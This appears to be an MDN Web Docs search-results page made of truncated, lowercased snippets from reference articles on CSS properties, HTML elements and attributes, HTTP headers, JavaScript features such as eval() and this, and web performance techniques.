=============== */ .group:before, .group:after { content: ""; display: table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider * { float: left; height: 100%; line-height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-b...
...0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-hei...
...aggable(preview); makedraggable(subject); var handle = document.createelement('div'); handle.classname = 'resize-handle'; handle.addeventlistener('mousedown', dragstart); document.addeventlistener('mouseup', dragend); preview.appendchild(handle); }; return { init: init }; }(); var imagereader = (function imagereader() { var freader = new filereader(); var browse = document.createelement('input'); var loadimage = function loadimage(e) { if (browse.files.length === 0) return; var file = browse.files[0]; if (file.type.slice(0, 5) !== 'image') return; freader.readasdataurl(file); return false; }; freader.onload = function(e) { imagecontrol.loadremoteimage(e.target.result); }; var load = function load() { browse.
...And 2 more matches
color-adjust - CSS: Cascading Style Sheets
the color-adjust css property sets what, if anything, the user agent may do to optimize the appearance of the element on the output device. by default, the browser is allowed to make any adjustments to the element's appearance it determines to be necessary and prudent given the type and capabilities of the output device. syntax color-adjust: economy; color-adjust: exact; the color-adjust property's value must be one of the following keywords. values economy the user agent is allowed to make adjustments to the element as it deems appropriate and prudent in order to optimize the output for the device it's being rendered for. ...
...iven the type and capabilities of the output device. syntax color-adjust: economy; color-adjust: exact; the color-adjust property's value must be one of the following keywords. values economy the user agent is allowed to make adjustments to the element as it deems appropriate and prudent in order to optimize the output for the device it's being rendered for. for example, when printing, a browser might opt to leave out all background images and to adjust text colors to be sure the contrast is optimized for reading on white paper. this is the default. exact the element's content has been specifically and carefully crafted to use colors, images, and styles in a thoughtful and/or important way, such that being altered by the browser might actually make things worse rather than better. th...
...is is the default. exact the element's content has been specifically and carefully crafted to use colors, images, and styles in a thoughtful and/or important way, such that being altered by the browser might actually make things worse rather than better. the appearance of the content should not be changed except by the user's request. for example, a page might include a list of information with rows whose background colors alternate between white and a light grey. removing the background color would decrease the legibility of the content. usage notes there are a number of reasons a browser might wish to deviate from the specified appearance, such as: the content uses text and background colors that will be too similar on the output device for legibility purposes. if the output device ...
...And 2 more matches
font-size - CSS: Cascading Style Sheets
Web › CSS › font-size
set the size of fonts on the web. by setting a keyword font size on the <body> element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly. pixels setting the font size in pixel values (px) is a good choice when you need pixel accuracy. a px value is static. this is an os-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. the results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect. font sizing settings can also be used in combination. for example, if a parent element is set to 16px and its child element is set to larger, the child element d...
...for example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer. avoid using them for font sizes if you wish to create an inclusive design. ems another way of setting the font size is with em values. the size of an em value is dynamic. ...
...arger than the size chosen by a web designer. avoid using them for font sizes if you wish to create an inclusive design. ems another way of setting the font size is with em values. the size of an em value is dynamic. when defining the font-size property, an em is equal to the font size of the element on which the em is used. if you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px. so, by default 1em = 16px, and 2em = 32px. if you set a font-size of 20px on the body element, then 1em = 20px and 2em = 40px. note that the value 2 is essentially a multiplier of the current em size. in order to calculate the em equivalent for any pixel value required, you can use this formula: em = desired element pixel value / parent element font-size in pixel...
...And 2 more matches
hyphens - CSS: Cascading Style Sheets
Web › CSS › hyphens
the hyphens css property specifies how words should be hyphenated when text wraps across multiple lines. it can prevent hyphenation entirely, hyphenate at manually-specified points within the text, or let the browser automatically insert hyphens where appropriate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. hyphenation rules are language-specific. in html, the language is determined by the lang attribute, and browsers will hyphenate only if this attribute is present and the appropriate hyphenation dictionary is available. in xml, the xml:lang attribute must be used. note: the rules defining how hyphenation is ...
... syntax /* keyword values */ hyphens: none; hyphens: manual; hyphens: auto; /* global values */ hyphens: inherit; hyphens: initial; hyphens: unset; the hyphens property is specified as a single keyword value chosen from the list below. ...
... syntax /* keyword values */ hyphens: none; hyphens: manual; hyphens: auto; /* global values */ hyphens: inherit; hyphens: initial; hyphens: unset; the hyphens property is specified as a single keyword value chosen from the list below. ...
...And 2 more matches
position - CSS: Cascading Style Sheets
Web › CSS › position
e normal document flow, and no space is created for the element in the page layout. it is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the css transforms spec), in which case that ancestor behaves as the containing block. (note that there are browser inconsistencies with perspective and filter contributing to containing block formation.) its final position is determined by the values of top, right, bottom, and left. this value always creates a new stacking context. in printed documents, the element is placed in the same position on every page. sticky the element is positioned according to the normal flow of the document, and then offset ...
...positioned with an absolute or fixed value do not obscure other content when the page is zoomed to increase text size. mdn understanding wcag, guideline 1.4 explanations visual presentation: understanding sc 1.4.8 | understanding wcag 2.0 performance & accessibility scrolling elements containing fixed or sticky content can cause performance and accessibility issues. as a user scrolls, the browser must repaint the sticky or fixed content in a new location. depending on the content needing to be repainted, the browser performance, and the device's processing speed, the browser may not be able to manage repaints at 60 fps, causing accessibility concerns for people with sensitivities and jank for everyone. one solution is to add will-change: transform to the positioned elements to render th...
...ite-space: nowrap; } dd + dd { border-top: 1px solid #ccc; } result specifications specification status comment css level 2 (revision 1)the definition of 'position' in that specification. recommendation css positioned layout module level 3the definition of 'position' in that specification. working draft adds sticky property value. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpositionchrome ...
...And 2 more matches
Setting up adaptive streaming media sources - Developer guides
adaptive streaming media source on a server, to be consumed inside an html5 media element. how would you do that? this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in terms of adaptive streaming formats, there are many to choose from; we decided to choose the following two as between them we can support most modern browsers. mpeg-dash hls (http live streaming) in order to adaptively stream media we need to split the media up into chunks. we are required to provide several different quality files split up over several time points. the more qualities and time points there are, the more 'adaptive' your stream will be, but we will usually want to find a pragmatic balance between size, time to encode and adaptiv...
... that enables streaming of media content over the internet delivered from conventional http web servers. a media presentation description (mpd) file is used to hold the information on the various streams and the bandwidths they are associated with. in your video source (src) attribute you point to the mpd instead of to the media file as you would with non-adaptive media. the mpd file tells the browser where the various pieces of media are located, it also includes meta data such as mimetype and codecs and there are other details such as byte-ranges in there too - it is an xml document and in many cases will be generated for you. there are a few profiles we can use. we're going to take a look at ondemand profile for video on demand (vod) and the live profile. for live services streaming, th...
...tion> <representation id="5" bandwidth="500000" width="480" height="360"> <baseurl>elephantsdream_h264bpl30_0500.264.dash</baseurl> </representation> </adaptationset> </period> </mpd> once you have generated your mpd file you can reference it from within the video tag. <video src="my.mpd" type="application/dash+xml"></video> it might be wise to provide a fallback for browsers that don't yet support mpeg-dash: <video> <source src="my.mpd" type="application/dash+xml"> <!-- fallback --> <source src="my.mp4" type="video/mp4"> <source src="my.webm" type="video/webm"> </video> live profile a useful piece of software when dealing with mpeg-dash is dash encoder. this uses mp4box to encode media into mpeg-dash format. note: you will need to be comfortable with ...
...And 2 more matches
<acronym> - HTML: Hypertext Markup Language
Web › HTML › Element › acronym
element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. example <p>the <acronym title="world wide web">www</acronym> is only a component of the internet.</p> default styling though the purpose of this tag is purely for the convenience of the author, its default styling varies from one browser to another: some browsers, like internet explorer, do not style it differently than a <span> element. opera, firefox, chrome, and some others add a dotted underline to the content of the element. a few browsers not only add a dotted underline, but also put it in small caps; to avoid this styling, adding something like font-variant: none in the css takes care of this case. it is therefore...
...a <span> element. opera, firefox, chrome, and some others add a dotted underline to the content of the element. a few browsers not only add a dotted underline, but also put it in small caps; to avoid this styling, adding something like font-variant: none in the css takes care of this case. it is therefore recommended that web authors either explicitly style this element, or accept some cross-browser variation. specifications specification status comment html 4.01 specificationthe definition of '<acronym>' in that specification. ...
...oid this styling, adding something like font-variant: none in the css takes care of this case. it is therefore recommended that web authors either explicitly style this element, or accept some cross-browser variation. specifications specification status comment html 4.01 specificationthe definition of '<acronym>' in that specification. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetacronym deprecatednon-st...
...And 2 more matches
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › content
the html <content> element—an obsolete part of the web components suite of technologies—was used inside of shadow dom as an insertion point, and wasn't meant to be used in ordinary html. it has now been replaced by the <slot> element, which creates a point in the dom at which a shadow dom can be inserted. note: though present in early draft of the specifications and implemented in several browsers, this element has been removed in later versions of the spec, and should not be used. it is documented here to assist in adapting code written during the time it was included in the spec to work with newer versions of the specification. content categories transparent content. permitted content flow content. tag omission none, both the starting and ending t...
... htmlcontentelement attributes this element includes the global attributes. select a comma-separated list of selectors. these have the same syntax as css selectors. they select the content to insert in place of the <content> element. example here is a simple example of using the <content> element. it is an html file with everything needed in it. note: for this code to work, the browser you display it in must support web components. see enabling web components in firefox. <html> <head></head> <body> <!-- the original content accessed by <content> --> <div> <h4>my content heading</h4> <p>my content text</p> </div> <script> // get the <div> above. var mycontent = document.queryselector('div'); // create a shadow dom on the <div> var shadowroot = my...
...e <div> above. var mycontent = document.queryselector('div'); // create a shadow dom on the <div> var shadowroot = mycontent.createshadowroot(); // insert into the shadow dom a new heading and // part of the original content: the <p> tag. shadowroot.innerhtml = '<h2>inserted heading</h2> <content select="p"></content>'; </script> </body> </html> if you display this in a web browser it should look like the following. specifications this element is no longer defined by any specifications. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafarian...
...And 2 more matches
<input type="color"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › color
ment that lets a user specify a color, either by using a visual color picker interface or by entering the color into a text field in #rrggbb hexadecimal format. only simple colors (without alpha channel) are allowed though css colors has more formats, e.g. color names, functional notations and a hexadecimal format with an alpha channel. the element's presentation may vary substantially from one browser and/or platform to another—it might be a simple textual input that automatically validates to ensure that the color information is entered in the proper format, or a platform-standard color picker, or some kind of custom color picker window. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clon...
...lar, you can't use css's standardized color names, or any css function syntax, to set the value. this makes sense when you keep in mind that html and css are separate languages and specifications. in addition, colors with an alpha channel are not supported; specifying a color in 9-character hexadecimal notation (e.g. #009900aa) will also result in the color being set to #000000. note: any web browser that doesn't support an input of type color will naturally fall back to the type text. because users can write colors in many different ways (such as rgb(255, 255, 0)), one way to work around this is to set a pattern attribute equal to either #[0-9a-f]{6} or #[0-9a-fa-f]{6} (preferably the latter because some users may not expect a different result with just a letter-case change) and set a plac...
...you should be aware of this behavior so your code can respond appropriately in either case. colorwell.select(); appearance variations as previously men...
...And 2 more matches
accesskey - HTML: Hypertext Markup Language
udes accented and other characters that can be generated by the keyboard). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...e source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: in the whatwg spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. however, this does not work in most browsers. ...
...n/interactive-examples and send us a pull request. note: in the whatwg spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. however, this does not work in most browsers. ie/edge uses the first one it supports without problems, provided there are no conflicts with other commands. ...
...And 2 more matches
Global attributes - HTML: Hypertext Markup Language
to all html elements; they can be used on all elements, though they may have no effect on some elements. global attributes may be specified on all html elements, even those not specified in the standard. that means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer html5-compliant. for example, html5-compliant browsers hide content marked as <foo hidden>...</foo>, even though <foo> is not a valid html element. in addition to the basic html global attributes, the following global attributes also exist: xml:lang and xml:base — these are inherited from the xhtml specifications and deprecated, but kept for compatibility purposes. the multiple aria-* attributes, used for improving accessibility. the event...
...npause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting. list of global attributes accesskey provides a hint for generating a keyboard shortcut for the current element. this attribute consists of a space-separated list of characters. the browser should use the first one that exists on the computer keyboard layout. autocapitalize controls whether and how text input is automatically capitalized as it is entered/edited by the user. it can have the following values: off or none, no autocapitalization is applied (all letters default to lowercase) on or sentences, the first letter of each sentence defaults to a capital letter; all ot...
...ercase characters, all letters should default to uppercase class a space-separated list of the classes of the element. classes allows css and javascript to select and access specific elements via the class selectors or functions like the method document.getelementsbyclassname(). contenteditable an enumerated attribute indicating if the element should be editable by the user. if so, the browser modifies its widget to allow editing. the attribute must take one of the following values: true or the empty string, which indicates that the element must be editable; false, which indicates that the element must not be editable. contextmenu the id of a <menu> to use as the contextual menu for this element. data-* forms a class of attributes, called custom data attributes, that a...
...And 2 more matches
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
in the old days of the web, pages were typically written in two versions: one for netscape navigator, and one for microsoft internet explorer. when the web standards were made at w3c, browsers could not just start using them, as doing so would break most existing sites on the web. browsers therefore introduced two modes to treat new standards compliant sites differently from old legacy sites. there are now three modes used by the layout engines in web browsers: quirks mode, almost standards mode, and full standards mode. in quirks mode, layout emulates nonstandard behavior in navigator 4 and internet explorer 5. this is essential in order to support websites that were built before the widespread adoption of web standards. in full standards mode, the behavior is (hopefully) the behavio...
... mode, layout emulates nonstandard behavior in navigator 4 and internet explorer 5. this is essential in order to support websites that were built before the widespread adoption of web standards. in full standards mode, the behavior is (hopefully) the behavior described by the html and css specifications. in almost standards mode, there are only a very small number of quirks implemented. how do browsers determine which mode to use? for html documents, browsers use a doctype in the beginning of the document to decide whether to handle it in quirks mode or standards mode. to ensure that your page uses full standards mode, make sure that your page has a doctype like in this example: <!doctype html> <html lang="en"> <head> <meta charset=utf-8> <title>hello world!</title> </head> <...
...mode, make sure that your page has a doctype like in this example: <!doctype html> <html lang="en"> <head> <meta charset=utf-8> <title>hello world!</title> </head> <body> </body> </html> the doctype shown in the example, <!doctype html>, is the simplest possible, and the one recommended by html5. earlier versions of the html standard recommended other variants, but all existing browsers today will use full standards mode for this doctype, even the dated internet explorer 6. there are no valid reasons to use a more complicated doctype. if you do use another doctype, you may risk choosing one which triggers almost standards mode or quirks mode. make sure you put the doctype right at the beginning of your html document. anything before the doctype, like a comment or an xml decl...
...And 2 more matches
Resource URLs - HTTP
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
... track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. resource urls, urls prefixed with the resource: scheme, are used by firefox and firefox browser extensions to load resources internally, but some of the information is available to sites the browser connects to as well. ...
... in this article, we focus on resource uris, which are used internally by firefox to point to built-in resources. ...
...And 2 more matches
List of default Accept values - HTTP
this article documents the default values for the http accept header for specific inputs and browser versions. default values these are the values sent when the context doesn't give better information. note that all browsers add the */* mime type to cover all cases. this is typically used for requests initiated via the address bar of a browser, or via an html <a> element. user agent value comment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier, this value can be modified using the network.http.accept.
... user agent value comment firefox earlier than 3.6 no support for <video> firefox 3.6 and later video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5 see bug 489071 source chrome */* source internet explorer 8 or earlier no support for <video> values for audio res...
... user agent value comment firefox 3.6 and later audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5 see bug 489071 source safari, chrome */* source internet explorer 8 or earlier no support for <audio> internet explorer 9 ? values for scripts when a s...
...And 2 more matches
Feature-Policy - HTTP
this header is still in an experimental state, and is subject to change at any time. be wary of this when implementing it on your website. the header has now been renamed to permissions-policy in the spec, and this article will eventually be updated to reflect that change. for more information, see the main feature policy article. header type response header forbidden header name yes syntax feature-policy: <directive> <allowlist> <directive> the feature policy directive to apply the allowlist to. ...
...en header name yes syntax feature-policy: <directive> <allowlist> <directive> the feature policy directive to apply the allowlist to. see directives below for a list of the permitted directive names. <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...And 2 more matches
Set-Cookie - HTTP
for more information, see the guide on http cookies. ...
...ttps), must not have a domain specified (and therefore aren't sent to subdomains) and the path must be /. expires=<date> optional the maximum lifetime of the cookie as an http-date timestamp. see date for the required formatting. if unspecified, the cookie becomes a session cookie. a session finishes when the client shuts down, and session cookies will be removed. warning: many web browsers have a session restore feature that will save all tabs and restore them next time the browser is used. session cookies will also be restored, as if the browser was never closed. when an expires date is set, the deadline is relative to the client the cookie is being set on, not the server. max-age=<number> optional number of seconds until the cookie expires. a zero or negative number wi...
...ill be sent. if omitted, defaults to the host of the current document url, not including subdomains. contrary to earlier specifications, leading dots in domain names (.example.com) are ignored. multiple host/domain values are not allowed, but if a domain is specified, then subdomains are always included. path=<path-value> optional a path that must exist in the requested url, or the browser won't send the cookie header. the forward slash (/) character is interpreted as a directory separator, and subdirectories will be matched as well: for path=/docs, /docs, /docs/web/, and /docs/web/http will all match. secure optional a secure cookie is only sent to the server when a request is made with the https: scheme. (however, confidential information should never be stored in http cooki...
...And 2 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
because it is more familiar, we will refer to ecmascript as "javascript" from this point on. unlike most programming languages, the javascript language has no concept of input or output. it is designed to run as a scripting language in a host environment, and it is up to the host environment to provide mechanisms for communicating with the outside world. the most common host environment is the browser, but javascript interpreters can also be found in a huge list of other places, including adobe acrobat, adobe photoshop, svg images, yahoo's widget engine, server-side environments such as node.js, nosql databases like the open source apache couchdb, embedded computers, complete desktop environments like gnome (one of the most popular guis for gnu/linux operating systems), and others. overview...
... not mention earlier called math that provides advanced mathematical functions and constants: math.sin(3.5); var circumference = 2 * math.pi * r; you can convert a string to an integer using the built-in parseint() function. ...
...) function. this takes the base for the conversion as an optional second argument, which you should always provide: parseint('123', 10); // 123 parseint('010', 10); // 10 in older browsers, strings beginning with a "0" are assumed to be in octal (radix 8), but this hasn't been the case since 2013 or so. unless you're certain of your string format, you can get surprising results on those older browsers: parseint('010'); // 8 parseint('0x10'); // 16 here, we see the parseint() function treat the first string as octal due to the leading 0, and the second string as hexadecimal due to the leading "0x". the hexadecimal notation is still in place; only octal has been removed. if you want to convert a binary number to an integer, just change the base: parseint('11', 2); // 3 similarly, you...
...And 2 more matches
JavaScript technologies overview - JavaScript
introduction whereas html defines a webpage's structure and content and css sets the formatting and appearance, javascript adds interactivity to a webpage and creates rich web applications. however, the umbrella term "javascript" as understood in a web browser context contains several very different elements. one of them is the core language (ecmascript), another is the collection of the web apis, including the dom (document object model). javascript, the core language (ecmascript) the core language of javascript is standardized by the ecma tc39 committee as a language named ecmascript. this core language is also used in non-browser environments, for example in node.js. what falls under the ecmascript scope? among other things, ecmascript defines: language syntax (parsing rules, key...
...non-browser environments, for example in node.js. what falls under the ecmascript scope? ...
...things, ecmascript defines: language syntax (parsing rules, keywords, control flow, object literal initialization, ...) error handling mechanisms (throw, try...catch, ability to create user-defined error types) types (boolean, number, string, function, object, ...) the global object. in a browser, this global object is the window object, but ecmascript only defines the apis not specific to browsers, e.g. parseint, parsefloat, decodeuri, encodeuri... ...
...And 2 more matches
Object.create() - JavaScript
ocn.p = 0; // create a simple property on "null" obj > console.log(oco) // {p: 1} -- still seems normal > console.log(ocn) // {p: 0} -- still seems normal here too. but wait... as shown above, all seems normal so far. ...
...owever, when attempting to actually use these objects, their differences quickly become apparent: > "oco is: " + oco // shows "oco is: [object object]" > "ocn is: " + ocn // throws error: cannot convert object to primitive value testing just a few of the many most basic built-in functions shows the magnitude of the problem more clearly: > alert(oco) // shows [object object] > alert(ocn) // throws error: cannot convert object to primitive value > oco.tostring() // shows [object object] > ocn.tostring() // throws error: ocn.tostring is not a function > oco.valueof() // shows {} > ocn.valueof() // throws error: ocn.valueof is not a function > oco.hasownproperty("p") // shows "true" > ocn.hasownproperty("p") // throws error: ocn.hasownproperty is not a function > oco.constructor // shows ...
...due to a limitation inherent in versions of ecmascript lower than 5. ...
...And 2 more matches
eval() - JavaScript
ons create global functions, and that the code being evaluated doesn't have access to local variables within the scope where it's being called. function test() { var x = 2, y = 4; console.log(eval('x + y')); // direct call, uses local scope, result is 6 var geval = eval; // equivalent to calling eval in the global scope console.log(geval('x + y')); // indirect call, uses global scope, throws referenceerror because `x` is undefined (0, eval)('x + y'); // another example of indirect call } never use eval()! eval() is a dangerous function, which executes the code it's passed with the privileges of the caller. if you run eval() with a string that could be affected by a malicious party, you may end up running malicious code on the user's machine with the permissions of your webpage /...
...s to which the similar function is not susceptible. eval() is also slower than the alternatives, since it has to invoke the javascript interpreter, while many other constructs are optimized by modern js engines. additionally, modern javascript interpreters convert javascript to machine code. this means that any concept of variable naming gets obliterated. thus, any use of eval() will force the browser to do long expensive variable name lookups to figure out where the variable exists in the machine code and set its value. additonally, new things can be introduced to that variable through eval() such as changing the type of that variable, forcing the browser to re-evaluate all of the generated machine code to compensate. fortunately, there's a very good alternative to eval(): simply using win...
...obj + ')')(); } console.log(loosejsonparse( "{a:(4-1), b:function(){}, c:new date()}" )) comparing the two code snippets above, the two code snippets might seem to work the same way, but think again: the eval() one is a great deal slower. notice c: new date() in the evaluated object. ...
...And 2 more matches
this - JavaScript
n/interactive-examples and send us a pull request. syntax this value a property of an execution context (global, function or eval) that, in non–strict mode, is always a reference to an object and in strict mode can be any value. description global context in the global execution context (outside of any function), this refers to the global object whether in strict mode or not. // in web browsers, the window object is also the global object: console.log(this === window); // true a = 37; console.log(window.a); // 37 this.b = "mdn"; console.log(window.b) // "mdn" console.log(b) // "mdn" note: you can always easily get the global object using the global globalthis property, regardless of the current context in which your code is running. function context inside a function...
...always easily get the global object using the global globalthis property, regardless of the current context in which your code is running. function context inside a function, the value of this depends on how the function is called. ...
... globalthis property, regardless of the current context in which your code is running. function context inside a function, the value of this depends on how the function is called. since the following code is not in strict mode, and because the value of this is not set by the call, this will default to the global object, which is window in a browser. ...
...And 2 more matches
const - JavaScript
c const usage constants can be declared with uppercase or lowercase, but a common convention is to use all-uppercase letters. // define my_fav as a constant and give it the value 7 const my_fav = 7; // this will throw an error - uncaught typeerror: assignment to constant variable. my_fav = 20; // my_fav is 7 console.log('my favorite number is: ' + my_fav); // trying to redeclare a constant throws an error // uncaught syntaxerror: identifier 'my_fav' has already been declared const my_fav = 20; // the name my_fav is reserved for constant above, so this will fail too var my_fav = 20; // this throws an error too let my_fav = 20; block scoping it's important to note the nature of block scoping. if (my_fav === 7) { // this is fine and creates a block scoped my_fav variable // (works...
... too let my_fav = 20; block scoping it's important to note the nature of block scoping. ...
...my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the fol...
...And 2 more matches
throw - JavaScript
the throw statement throws a user-defined exception. execution of the current function will stop (the statements after throw won't be executed), and control will be passed to the first catch block in the call stack. if no catch block exists among caller functions, the program will terminate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax throw expression; expression the expression to throw. description use the throw statement to throw an exception. when you throw an exception, expression specifies the value of the exception. ...
...ithub repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax throw expression; expression the expression to throw. description use the throw statement to throw an exception. when you throw an exception, expression specifies the value of the exception. ...
... try var mymonth = 15; // 15 is out of bound to raise the exception var monthname = getmonthname(mymonth); } catch (e) { monthname = 'unknown'; console.error(e.message, e.name); // pass exception object to err handler } another example of throwing an object the following example tests an input string for a u.s. zip code. if the zip code uses an invalid format, the throw statement throws an exception by creating an object of type zipcodeformatexception. /* * creates a zipcode object. * * accepted formats for a zip code are: * 12345 * 12345-6789 * 123456789 * 12345 6789 * * if the argument passed to the zipcode constructor does not * conform to one of these patterns, an exception is thrown. */ function zipcode(zip) { zip = new string(zip); pattern = ...
...And 2 more matches
display - Web app manifests
note: you can selectively apply css to your app based on the display mode, using the display-mode media feature. ...
... note: you can selectively apply css to your app based on the display mode, using the display-mode media feature. ...
... note: you can selectively apply css to your app based on the display mode, using the display-mode media feature. ...
...And 2 more matches
Media type and format guide: image, audio, and video content - Web media technologies
Web › Media › Formats
since nearly its beginning, the web has included support for some form of visual media presentation. originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web. the modern web has powerful features to support the presentation and manipulation of media, with several media-related apis supporting various types of content. generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer. ...
...t the presentation and manipulation of media, with several media-related apis supporting various types of content. generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer. this guide provides an overview of the media file types, codecs, and algorithms that may comprise media used on the web. it also provides browser support information for various combinations of these, and suggestions for prioritization of formats, as well as which formats excel at specific types of content. ...
...ile types, codecs, and algorithms that may comprise media used on the web. it also provides browser support information for various combinations of these, and suggestions for prioritization of formats, as well as which formats excel at specific types of content. references images image file type and format guide covers support of image file types and content formats across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers. image file types for web designers fundamental information about the various image file types that may be useful for web designers, including best practices and use cases for each type, and guidelines for choosing the right image file format for specific ...
...And 2 more matches
Lazy loading - Web Performance
e rest can be loaded on demand. entry point splitting: separates code by entry point(s) in the app dynamic splitting: separates code where dynamic import() statements are used javascript script type module any script tag with type="module" is treated like a javascript module and is deferred by default. css by default, css is treated as a render blocking resource, so the browser won't render any processed content until the cssom is constructed. css must be thin, delivered as quickly as possible, and the usage media types and queries are advised to unblock rendering. <link href="style.css" rel="stylesheet" media="all"> <link href="portrait.css" rel="stylesheet" media="orientation:portrait"> <link href="print.css" rel="stylesheet" media="print"> it is possible t...
...so: element link images and iframes very often, webpages contain many images that contribute to data-usage and how fast a page can load. most of those images are off-screen (non-critical), requiring user interaction (an example being scroll) in order to view them. loading attribute the loading attribute on an <img> element (or the loading attribute on an <iframe>) can be used to instruct the browser to defer loading of images/iframes that are off-screen until the user scrolls near them. <img src="image.jpg" loading="lazy" alt="..." /> <iframe src="video-player.html" loading="lazy"></iframe> the load event fires when the eagerly-loaded content has all been loaded; at that time, it's entirely possible (or even likely) that there may be lazily-loaded images that are within the visual viewpo...
...gerly-loaded content has all been loaded; at that time, it's entirely possible (or even likely) that there may be lazily-loaded images that are within the visual viewport that haven't yet loaded. you can determine if a given image has finished loading by examining the value of its boolean complete property. ...
...And 2 more matches
Optimizing startup performance - Web Performance
it's always a good idea to take the time to ensure that your app starts up nicely. ...
.... instead, you should write your code so that your app creates a web worker that does as much as possible in a background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up. this will prevent the app, browser, and/or device from appearing to have locked up. why is it important to be asynchronous? other than the reasons suggested above, consider the impact of a non-responsive page or user interface. the user is unable to cancel if they launched your app by mistake. if the app is being run in a browser, it's possible the user may get an "unresponsive app" or "slow script" notification. you should pre...
...ags needed by the web application. this allows html parsers to continue processing the document, instead of having to wait until the scripts have been downloaded and executed before continuing. if you need to decode asset files (for example, decoding jpeg files and turning them into raw texture data for later use by webgl), that's great to do in workers. when dealing with data supported by the browser (for example, decoding image data), use the decoders built into the browser or device rather than rolling your own or using one from the original codebase. the provided one is almost certainly significantly faster, and will reduce your app size to boot. in addition, the browser may automatically parallelize these decoders. any data processing that can be done in parallel should be. don't do on...
...And 2 more matches
Using dns-prefetch - Web Performance
this process is known as dns resolution. while dns caching can help to reduce this latency, dns resolution can add significant latency to requests. ...
...this process is known as dns resolution. while dns caching can help to reduce this latency, dns resolution can add significant latency to requests. ...
